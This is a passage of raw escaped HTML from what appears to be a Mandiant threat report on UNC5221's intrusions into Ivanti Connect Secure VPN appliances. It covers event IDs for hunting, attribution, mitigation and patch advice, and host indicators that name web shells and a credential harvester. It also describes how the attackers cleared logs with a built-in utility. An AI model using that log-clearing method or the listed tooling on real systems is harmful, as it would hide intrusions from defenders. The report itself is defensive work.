started.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32088\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA built-in integrity scan has been completed.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTable 3: Integrity checker tool event IDs\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e\n\u003ch4\u003eSystem Log Clearing\u003c/h4\u003e\n\u003cp\u003eIn some instances, the threat actor used a legitimate system utility,\u00a0\u003ccode\u003e/home/bin/logClear.pl\u003c/code\u003e\u00a0to clear system logs. The clearing of system logs via this method generates event ID\u00a0\u003ccode\u003eADM20599\u003c/code\u003e\u00a0in the admin event log for each log type cleared. There are six (6) system logs available on an Ivanti Connect Secure appliance.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable border\u003d\"1px\" cellpadding\u003d\"16px\" style\u003d\"border-collapse:collapse;margin-left:auto;margin-right:auto\"\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eLog Name\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eFile Path\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eevents\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.events.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eadmin\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.admin.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eaccess\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.access.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003ediagnosticlog\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.diagnosticlog.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003epolicytrace\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.policytrace.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003esensorslog\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.sensorslog.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTable 4: System log descriptions\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003eMandiant recommends hunting for event ID \u003ccode\u003eADM20599\u003c/code\u003e\u00a0in the events log (\u003ccode\u003elog.events.vc0\u003c/code\u003e) for evidence of log clearing.\u003c/p\u003e\n\u003ch2\u003eAttribution\u003c/h2\u003e\n\u003cp\u003eMandiant assesses with moderate confidence that UNC5221 is a China-nexus espionage threat actor. Mandiant has observed UNC5221 targeting a wide range of verticals of strategic interest to the People's Republic of China (PRC) both pre and post disclosure, and early indications show that tooling and infrastructure overlap with past intrusions attributed to suspected China-based espionage actors. Additionally, Linux-based tools identified in incident response investigations use code from multiple Chinese-language Github repositories. As noted in our previous blog post, UNC5221 has largely leveraged TTPs associated with zero-day exploitation of edge infrastructure by suspected PRC nexus actors.\u003c/p\u003e\n\u003ch2\u003eRecommendations\u003c/h2\u003e\n\u003ch3\u003ePatch Availability\u003c/h3\u003e\n\u003cp\u003eIvanti is releasing the first round of patches for specific versions of Ivanti Connect Secure starting on Jan. 31, 2024. The remaining patches will be released on a staggered schedule for three different products that span multiple branches and versions.\u003c/p\u003e\n\u003ch3\u003eInstalling the Mitigation\u00a0\u003c/h3\u003e\n\u003cp\u003eAffected customers should install the mitigation immediately if a patch is not yet available for their version. Installing the mitigation is intended to prevent future exploitation of the two vulnerabilities. It is not intended to remediate or otherwise contain an existing compromised device.\u003c/p\u003e\n\u003cp\u003eOn Jan. 20, 2024, Ivanti released\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003edetails\u003c/u\u003e\u003c/a\u003e\u00a0related to a condition that would negatively impact the mitigation and render appliances in a vulnerable state. The condition impacts customers who push configurations to appliances using Ivanti Neurons for Secure Access (nSA) or Pulse One. Ivanti recommends customers to stop pushing configurations to appliances with the XML in place until patches are installed.\u003c/p\u003e\n\u003ch3\u003eIntegrity Checker Tool\u003c/h3\u003e\n\u003cp\u003eIvanti customers are still encouraged to first run and review their logs for historical hits by the internal Integrity Checker Tool (ICT). If the internal ICT comes back with no results, customers should then run the external ICT as it is more robust and resistant to tampering. Mandiant and Volexity have observed threat actors attempting to tamper with the internal (built-in) ICT to evade detection.\u003c/p\u003e\n\u003cp\u003eCustomers should share the ICT results with Ivanti for further analysis. Ivanti will make a determination if the appliance is compromised and recommend next steps.\u003c/p\u003e\n\u003ch3\u003ePassword Resets\u003c/h3\u003e\n\u003cp\u003eIn addition to resetting the password of any local user configured on the appliance, Mandiant advises that organizations affected by the WARPWIRE credential stealer reset passwords of any users who authenticated to the appliance during the period when the malware was active. We also recommend customers search EDR telemetry and firewall logs for traffic to the WARPWIRE credential harvester C2 addresses listed in the IOCs section.\u003c/p\u003e\n\u003ch3\u003eHardening Guide\u003c/h3\u003e\n\u003cp\u003eWe have released a guidance document, which contains\u00a0\u003ca href\u003d\"https://services.google.com/fh/files/misc/ivanti-connect-secure-remediation-hardening.pdf\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003eremediation and hardening recommendations\u003c/a\u003e\u00a0for suspected compromised Ivanti Connect Secure (CS) VPN appliances associated with the exploitation of CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893.\u003c/p\u003e\n\u003ch2\u003eAcknowledgements\u003c/h2\u003e\n\u003cp\u003eWe would like to thank Ivanti for their continued partnership, support, and transparency following the exploitation of CVE-2023-46805 and CVE-2024-21887 by UNC5221. In addition, this work would not have been possible without the assistance from our team members across Mandiant Consulting, Intelligence, FLARE, and Google TAG.\u003c/p\u003e\n\u003ch2\u003eIndicators of Compromise (IOCs)\u003c/h2\u003e\n\u003ch3\u003eHost-Based Indicators (HBIs)\u003c/h3\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eFilename\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eMD5\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eDescription\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ehealth.py\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e3045f5b3d355a9ab26ab6f44cc831a83\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCHAINLINE web shell\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ecompcheckresult.cgi\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e3d97f55a03ceb4f71671aa2ecf5b24e9\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eLIGHTWIRE web shell\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e2ec505088b942c234f39a37188e80d7a\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e8eb042da6ba683ef1bae460af103cc44\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ea739bd4c2b9f3679f43579711448786f\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ea81813f70151a022ea1065b7f4d6b5ab\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ed0c7a334a4d9dcd3c6335ae13bee59ea\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ee8489983d73ed30a4240a14b1f161254\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ecategory.py\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e465600cece80861497e8c1c86a07a23e\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eFRAMESTING web shell\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elogo.gif\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eN/A \u2014 varies\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eConfiguration and cache dump or CAV web server log exfiltration\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elogin.gif\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eN/A \u2014 varies\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eConfiguration and cache dump\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e[a-fA-F0-9]{10}\\.css\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eN/A \u2014 varies\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eConfiguration and cache dump\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003evisits.py\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eN/A \u2014 varies\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWIREFIRE web shell\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003ch3\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eNetwork-Based Indicators (NBIs)\u003c/span\u003e\u003c/h3\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv 